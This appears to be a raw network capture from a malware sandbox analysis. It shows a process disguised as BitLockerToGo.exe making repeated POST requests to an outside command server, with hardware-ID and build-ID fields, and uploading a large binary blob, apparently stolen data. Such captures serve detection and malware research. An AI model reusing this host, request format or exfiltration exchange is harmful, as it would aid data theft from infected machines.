RZubf3qtc2SkL2C6l3nGkilSi9pbEAiFXNtwVQMmFIFEjgfT73HnaKSDHBpb3SKr0f5HfhI57CmQfzFVbxJQ3RnL7jZbAIbEFdeBJ85si/PIoxtL49jJfMWGPSRWbwGZBP4H0+6h3vQITnFe91GPVrFei9r2ACyFXNsxyGJLYcBdgpLiexDakUlzRIdOqAqqsV6L2vYAVIVc23glz970cQXX438iBZ+AZHo05rc5LgYkgh/W9qwoJZB/nBw3cjj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49713	188.114.96.3	443	3800	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-05 04:03:12 UTC	291	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12863 Host: citizencenturygoodwk.shop
2024-07-05 04:03:12 UTC	12863	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 36 31 36 30 31 31 45 41 44 33 42 32 37 32 39 45 43 37 30 33 30 32 30 31 39 45 36 38 32 42 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 40 53 45 46 59 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"B616011EAD3B2729EC70302019E682B3--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"LPnhqo--@SEFY
2024-07-05 04:03:12 UTC	814	IN	HTTP/1.1 200 OK Date: Fri, 05 Jul 2024 04:03:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9irulufli53qst9lks2pbf8gjl; expires=Mon, 28-Oct-2024 21:49:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tXqwJjjiHhmxF9MgylXUE0A%2F2JW7Pf%2FUEgR%2BXNgQ7lMFhyrZNedyt5R%2FLatyuuFi8xHs1dOiK3TNnYOnc9rmex6QhUCCgZXzhV415aIHmfyM%2F2oh0y2jKTY9OEl4hMp6JmpxsI4jzv68%2Fz1n"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 89e476c1fb2b8cee-EWR alt-svc: h3=":443"; ma=86400
2024-07-05 04:03:12 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 33 33 0d 0a Data Ascii: eok 8.46.123.33
2024-07-05 04:03:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49714	188.114.96.3	443	3800	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-05 04:03:13 UTC	291	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15109 Host: citizencenturygoodwk.shop
2024-07-05 04:03:13 UTC	15109	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 36 31 36 30 31 31 45 41 44 33 42 32 37 32 39 45 43 37 30 33 30 32 30 31 39 45 36 38 32 42 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 40 53 45 46 59 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"B616011EAD3B2729EC70302019E682B3--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"LPnhqo--@SEFY
2024-07-05 04:03:13 UTC	806	IN	HTTP/1.1 200 OK Date: Fri, 05 Jul 2024 04:03:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ajhagii16jk8odimgr5imkfpt9; expires=Mon, 28-Oct-2024 21:49:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9DNGo1wclv7x8xHFjY4SK1Qef1ojau%2Bs7n565SuK0ZpBSMqbgp0gSvd1f5QLeR2m3nnhYbY%2BNjMAQ4RR1yZRICGnLp1nyBwyH9FiSb6zuOZdLv4CPKzNtavxmdH5GBj8HbM1OioogaeV6Cw3"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 89e476c8aa31c47f-EWR alt-svc: h3=":443"; ma=86400
2024-07-05 04:03:13 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 33 33 0d 0a Data Ascii: eok 8.46.123.33
2024-07-05 04:03:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49715	188.114.96.3	443	3800	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-05 04:03:14 UTC	291	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19967 Host: citizencenturygoodwk.shop
2024-07-05 04:03:14 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 36 31 36 30 31 31 45 41 44 33 42 32 37 32 39 45 43 37 30 33 30 32 30 31 39 45 36 38 32 42 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 40 53 45 46 59 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"B616011EAD3B2729EC70302019E682B3--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"LPnhqo--@SEFY
2024-07-05 04:03:14 UTC	4636	OUT	Data Raw: 03 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 e3 Data Ascii: +?2+?2+?o?Mp5p
2024-07-05 04:03:15 UTC	808	IN	HTTP/1.1 200 OK Date: Fri, 05 Jul 2024 04:03:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2flh24qm3himv9cn1iun41fmmj; expires=Mon, 28-Oct-2024 21:49:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hT9QESr3lPYIlBwCuizoR9r%2BL2zZSzwYQf2OnuLDzPtkrfuSRKPAItROvh6YZhWbAyrP8W7RnM9djtcWXviimFCekfHQO0a%2FnStRDHgueVxM2azgGreFGBSk9sfiTDM7ky5WXc%2F2rOT21M1J"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 89e476d0ba457277-EWR alt-svc: h3=":443"; ma=86400
2024-07-05 04:03:15 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 33 33 0d 0a Data Ascii: eok 8.46.123.33
2024-07-05 04:03:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49717	188.114.96.3	443	3800	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-05 04:03:16 UTC	290	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 7100 Host: citizencenturygoodwk.shop
2024-07-05 04:03:16 UTC	7100	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 36 31 36 30 31 31 45 41 44 33 42 32 37 32 39 45 43 37 30 33 30 32 30 31 39 45 36 38 32 42 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 40 53 45 46 59 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"B616011EAD3B2729EC70302019E682B3--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"LPnhqo--@SEFY
2024-07-05 04:03:16 UTC	822	IN	HTTP/1.1 200 OK Date: Fri, 05 Jul 2024 04:03:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=q5m075tn6jk06p8kmu6fvnepko; expires=Mon, 28-Oct-2024 21:49:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wq4J5XPrwN%2Bui%2F4vTKf9oUj9xRmKlEU%2Fxqd%2BCi8iHcK0y4tQGJj6l3yw5XkX%2FjNVPlwbQqmZWusbredXFxA2o9WPiCkHwyYHEDGejB52y4a9pE%2FRBynfOll%2BhZOt3erGJ%2B%2FdyX%2FT2N5TWMrB"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 89e476dbed908c57-EWR alt-svc: h3=":443"; ma=86400
2024-07-05 04:03:16 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 33 33 0d 0a Data Ascii: eok 8.46.123.33
2024-07-05 04:03:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49720	188.114.96.3	443	3800	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-05 04:03:17 UTC	290	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1264 Host: citizencenturygoodwk.shop
2024-07-05 04:03:17 UTC	1264	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 36 31 36 30 31 31 45 41 44 33 42 32 37 32 39 45 43 37 30 33 30 32 30 31 39 45 36 38 32 42 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 40 53 45 46 59 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"B616011EAD3B2729EC70302019E682B3--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"LPnhqo--@SEFY
2024-07-05 04:03:17 UTC	806	IN	HTTP/1.1 200 OK Date: Fri, 05 Jul 2024 04:03:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=l6nctisv8tg3ookqvl7u6ol7vp; expires=Mon, 28-Oct-2024 21:49:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dW%2BGm3PZzIK6vZBTThGIjVbzwCIjJ2gELzzmMExf5tZC74sktvKnd5WtWSqPQ4dHFqOBHLhys0ApSWDAV0mUtAh6vMhunJLFTq0zO46CHRJ42SuXc3K8NogQCrTYZzg3J9VlXPGnAcR%2FcA9W"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 89e476e239a8420b-EWR alt-svc: h3=":443"; ma=86400
2024-07-05 04:03:17 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 33 33 0d 0a Data Ascii: eok 8.46.123.33
2024-07-05 04:03:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49722	188.114.96.3	443	3800	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-05 04:03:18 UTC	292	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 584888 Host: citizencenturygoodwk.shop
2024-07-05 04:03:18 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 36 31 36 30 31 31 45 41 44 33 42 32 37 32 39 45 43 37 30 33 30 32 30 31 39 45 36 38 32 42 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 40 53 45 46 59 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"B616011EAD3B2729EC70302019E682B3--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"LPnhqo--@SEFY
2024-07-05 04:03:18 UTC	15331	OUT	Data Raw: 7c 3f 3f 38 bc 9d 23 50 2f f6 32 c6 5d ad 26 3a 38 c9 fc 66 79 ac b7 e9 88 27 e4 a2 ba 94 d3 e9 94 87 9c f2 11 cc 4c d8 fe 01 c5 d1 a9 0a a1 2e 62 ff f2 5b 8e 84 c2 7e b0 8f df fc 81 8c 86 c2 a6 68 1e a4 be a4 75 44 7a 5a 97 6d 1c 83 72 99 8e 2d 0a de 52 75 14 5a 3a ea 33 77 00 9c b3 c8 88 89 4a 99 96 7c 29 90 bd 92 74 c8 b8 e6 3a f3 99 27 1c d8 7b 2d fb d1 a5 36 f6 d0 b5 da 81 3a b5 96 1d 7b 92 db 09 43 dc 3a 21 01 ab d2 38 e1 2c e7 79 ae 3f d2 8c 4b 01 43 1d f4 44 5e d5 a7 57 aa c7 6f b9 a5 a5 4b 84 91 e5 cf 8c d5 31 4e 8a 20 cf db 27 c7 83 00 45 44 af 6b af 0f 3d 6f 41 0b 68 1c 01 01 98 fa 8d c3 34 4f 1e 30 fd 5d 13 24 2d d5 ce 47 ee b4 7f 4c 9e 81 68 9f 0d 56 2e b2 1d 5e f3 ad 94 bc 1c ae 14 0d fb 07 19 62 45 64 f9 51 a0 9a cd 41 cf a5 d5 69 97 db 89 Data Ascii: \|??8#P/2]&:8fy'L.b[~huDzZmr-RuZ:3wJ\|)t:'{-6:{C:!8,y?KCD^WoK1N 'EDk=oAh4O0]$-GLhV.^bEdQAi
2024-07-05 04:03:18 UTC	15331	OUT	Data Raw: 23 ff e6 00 97 dd 1e b5 56 ae e1 15 f7 9a 2c 6d 09 c5 f5 5b 30 74 af da 87 ee 25 44 7b 52 58 c2 9b 9a 53 39 87 6a eb 18 03 3f fa d5 e9 75 02 f6 03 1b a3 2b 1f 16 6b 55 b7 08 a8 cf 5a 9c 19 89 46 07 af 3e ac e3 c6 1a 5b bf 47 56 b7 22 0d 97 54 60 29 7e 87 95 ae 9b 7f 5b 39 bc 84 ea 14 34 ef b4 e4 41 dc 79 5e f9 eb e9 c5 e1 fc e5 ed 84 e0 99 71 8b e1 e1 2d 3e 43 01 ae 7d 9a 90 5c 9a fb ab af dc 67 42 9d e7 7b 19 08 1f 33 a0 bb d1 b7 4e 18 09 d7 b4 1d 7d 2f ab f3 cb 9f d5 54 16 58 2d dd ff f2 73 e6 9e 96 9c 75 eb 90 b6 58 6f 87 29 09 d5 9a 77 4b ec e0 3b 0f fa b6 96 ac f2 9d a5 e1 11 3e f5 43 01 ed 8e 7e ef 83 e7 7c d3 03 96 59 0d 2e 65 df 89 db 69 43 7a 1e 57 14 40 d8 7c e3 36 3f 75 8c 63 d2 5a 7e a1 7a 53 80 be 30 57 3a fc 5a 65 0d ac 64 4e 1b ed af 1e 8c Data Ascii: #V,m[0t%D{RXS9j?u+kUZF>[GV"T`)~[94Ay^q->C}\gB{3N}/TX-suXo)wK;>C~\|Y.eiCzW@\|6?ucZ~zS0W:ZedN
2024-07-05 04:03:18 UTC	15331	OUT	Data Raw: 89 7c f0 81 58 68 a7 7a 9b f5 31 6d 07 5a 32 83 16 d5 fb e1 b6 d7 d2 f8 5b f5 c3 0d ab 6f 00 86 e3 c2 4d 22 34 ba 17 ee 3c 4e c6 ae 73 9b a2 9a ee 5e 7c 03 df f9 32 18 4a 1e 23 12 2f ca 83 0b e8 01 19 08 de 11 8f bf 29 19 db fa 8c 1c 3f eb 01 ca 35 31 e5 b7 da 34 79 c5 80 00 f4 e3 69 c9 53 50 f2 a9 17 a7 90 b4 c2 86 49 ee db a0 fc c4 83 8d 4b b4 af dc 5d 8c 9d a2 e5 0d 2b a1 2f 53 1f 28 af 92 6f fa 3b ac c7 1d b6 34 6b 7f 47 01 64 27 21 23 d3 83 15 6e 7b 6b 98 60 fa ce 55 ae 98 90 0d 70 ab 92 aa c1 d7 77 e8 25 b5 e1 ed 94 88 df ae 82 e6 c1 c4 c7 84 d0 5d ac 16 3d d2 df 93 59 90 58 f8 7f 4d 08 00 84 f3 5a 79 c1 52 95 33 bc 53 a0 64 15 58 6b d8 cd ae 4c 0a f1 32 08 b9 31 53 cd 01 92 07 c5 9a d3 f5 f0 b9 31 56 31 8d 03 63 b2 42 55 34 1d be e5 3b 8a 04 13 3a Data Ascii: \|Xhz1mZ2[oM"4<Ns^\|2J#/)?514yiSPIK]+/S(o;4kGd'!#n{k`Upw%]=YXMZyR3SdXkL21S1V1cBU4;:
2024-07-05 04:03:18 UTC	15331	OUT	Data Raw: a1 2a a6 f8 c2 f7 de 42 7d e0 9f 46 f5 9a 41 b6 3e 26 ca ab ec fb 3b 40 6b 18 16 19 36 eb f7 db bd 32 01 09 2e fc b2 b9 27 05 6a 09 0d cd 15 97 28 22 3b d7 4e 9f 5d 3c 76 26 20 7d c9 af a7 f1 a7 43 cf 7b 16 fe 8c db 23 32 6e 51 e0 5f 3b bf ae 5d 35 5e f3 30 b2 6b c6 ff cd 71 fa 2f 02 ff 6f 8e 6c 19 24 ef 26 77 7d 17 26 ed 0a 2d c7 ca 02 05 d2 c9 54 28 79 6a 40 1e 88 6f 2c 8f b4 60 3b 21 07 ee 8d 3a cc 1b 1e 60 a6 fd d8 22 1d b4 ea f4 3c c0 e7 03 b9 e4 c5 97 f7 da 05 d8 a1 8a f4 c6 1d 96 6d 73 a6 b7 bd 9f 20 50 4e c8 bc 3d 14 ec 23 92 97 aa 1d 0a ec df fe 5a a3 a3 40 7a d7 aa 06 07 13 02 71 73 bc 7d 15 a4 8c 51 8a 49 de b8 ce 9f 54 0b 91 da 98 31 c3 2d 4a 6b 65 2e b6 1f 74 b3 32 ff f2 28 3a 74 40 a6 ac e0 4c dc 77 f7 12 8d 11 8f 79 c7 82 ba 70 0a aa 3c 48 Data Ascii: *B}FA>&;@k62.'j(";N]<v& }C{#2nQ_;]5^0kq/ol$&w}&-T(yj@o,`;!:`"<ms PN=#Z@zqs}QIT1-Jke.t2(:t@Lwyp<H
2024-07-05 04:03:18 UTC	15331	OUT	Data Raw: d1 8a 8b a4 f8 3d 43 8c cc 4f c5 dd 95 7e 65 48 e5 9d 89 ab 2f f7 ed 62 0b b9 8b 19 7b bc 33 f8 60 15 a3 75 29 49 cc 4f 63 08 9d 7a 78 b2 ea 47 c7 98 b0 d7 62 a1 11 6c b4 6f 6c ae b8 de 48 6d 8b 72 45 a9 fb 89 9b 72 0d 80 cb 09 21 53 7b 30 2b 13 88 97 7e 94 9b 4b 66 0a 88 eb 67 12 42 d7 a2 85 af 5e e5 8f 93 83 15 64 c6 c5 e2 69 5b 20 32 71 f3 ed c1 a6 67 d7 b0 87 d4 89 86 1e 6e e8 eb 05 b6 2e 4a 44 17 2e 86 fc 14 b4 ac b7 75 b2 e0 4a 37 1a fc ec b2 90 ca eb 89 89 e0 63 4d b0 8a e7 88 49 38 8f 45 0b 2c b0 5b 57 2c e2 dd 50 6d e4 6f 5d d4 2e 34 0e 60 0f 87 64 48 f7 8e ed 79 b0 e6 5c 6f 8c 30 3e 26 1b 3a 89 3d 47 3c 06 e7 b5 ed 90 f8 c7 fc e4 44 ee bb fa de 69 fc 8b f2 35 ec 44 49 63 f4 f2 a6 e9 69 e2 9c 4d f3 f3 58 d8 7d eb d5 27 4b 3a f8 69 d4 a2 17 dd 0d Data Ascii: =CO~eH/b{3`u)IOczxGblolHmrEr!S{0+~KfgB^di[ 2qgn.JD.uJ7cMI8E,[W,Pmo].4`dHy\o0>&:=G<Di5DIciMX}'K:i
2024-07-05 04:03:18 UTC	15331	OUT	Data Raw: 95 57 cc f6 54 c1 66 67 35 45 85 6b 53 c4 92 29 62 31 5a 2e 5e 82 57 cd 28 03 39 ef 49 d3 ac 51 3f ff 95 bf 3f 36 96 8f 2a b9 3b 9e a6 6f 0e cb fd 6c 72 56 63 2f a0 f1 d7 0e 68 d2 68 a9 00 df c7 55 1c 1a 35 73 a1 1d 8a 4e ba 45 17 15 9f 48 ce fe 2e 6e e6 92 fd 8d b5 8f a1 e3 ac d0 e9 12 d9 9c 29 3a c7 f8 ed 60 89 8e 2f 47 6d 48 7b 1c e0 fd d9 46 29 47 6e b0 46 64 05 19 eb df 26 d5 f9 1c 10 44 88 8b 3b 7a b5 19 1f c9 5b 4f 7d d1 c0 ad ff 56 3e f2 24 d3 1c ba 7c 31 6f f5 6f 91 93 4e 21 d8 16 19 8e 48 aa ad ba b9 ea 71 3e e3 b5 3d 57 14 df a4 bb 6a 66 3c 9c 20 0d 8e 1c 3c 5d 95 77 66 df c8 dd 23 8f e4 57 8f ee 54 dd e1 f2 49 93 94 15 da 66 d8 18 bb be c7 97 8b bb e5 05 c2 1a e4 87 51 05 3f 7e 67 44 46 3d d1 